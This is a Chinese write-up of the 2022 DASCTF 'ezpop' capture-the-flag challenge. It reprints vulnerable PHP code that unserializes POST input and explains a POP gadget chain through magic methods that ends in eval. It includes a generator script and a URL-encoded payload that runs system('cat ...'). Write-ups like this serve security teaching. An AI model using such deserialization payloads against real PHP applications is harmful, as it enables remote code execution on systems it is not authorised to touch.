[2022DASCTF]ezpop
ezpop
打开环境,直接获得源码:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
?>
看见unserialize,判断这题是反序列化,然后找切入口,看了一眼,没看见wakeup函数,所以得找其他切入口。
发现fin类中有__destruct析构函数,从此切入,直接new fin()。
在里面有echo操作,推测会用到__toString魔术方法。
this->f1这是一个切入口,可以在这里new一个对象,即f1=new what()。
接着看what类中的__toString方法,看到this->a,又是一个切入点,然后找哪个类里有run这个方法的,去new一下这个类,发现mix里面有run,但fin里面也有run,两个方法一模一样,用谁无所谓,这里a=new mix()。
此时程序已经进入mix类中的run方法,下面就要用到__invoke这个魔术方法,即将类当做函数使用。
自然而然会想到去new一个crow,即m1=new crow()。
此时程序已经进入crow类中的__invoke方法,这个方法里最后会去指向一个world函数,但是搜遍全文未发现该函数。
所以下面就要用到__call这个魔术方法,该方法会在程序找不到函数时被调用,所以v1=new fin()。
然后在该方法中的切入点又为this->f1,他最终会去调用get_flag()这个方法,所以f1=new mix()。
最终只要给m1赋值命令就可以了,前面的注释符可以使用回车绕过。
过程梳理:
//切入点
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
}
//给f1这里创建一个对象new waht()
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
//给a这里再创建一个对象new mix()
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
}
//给m1这里再创建一个对象new crow()
class crow
{
public $v1;
public $v2;
public function __invoke()
{
$this->v1->world();
}
}
//给v1这里再创建一个对象new fin()
class fin
{
public $f1;
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
//给f1这里再创建一个对象new mix()
class mix
{
public $m1;
public function get_flag()
{
eval('#' . $this->m1);
}
}
//最后给m1赋值执行命令
生成序列化字符串:
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$a = new fin();
$b = new what();
$c = new mix();
$d = new crow();
$a->f1 = $b;
$b->a = $c;
$c->m1 = $d;
$a2 = new fin();
$c2 = new mix();
$d->v1 = $a2;
$a2->f1 = $c2;
$c2->m1 = "
system(\"cat H0mvz850*.php\");";
echo urlencode(serialize($a));
?>
结果:
O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A29%3A%22%0Asystem%28%22cat+H0mvz850%2A.php%22%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
总结:
题目里的uuid怕是唬人的,正常构造pop链,执行命令即可。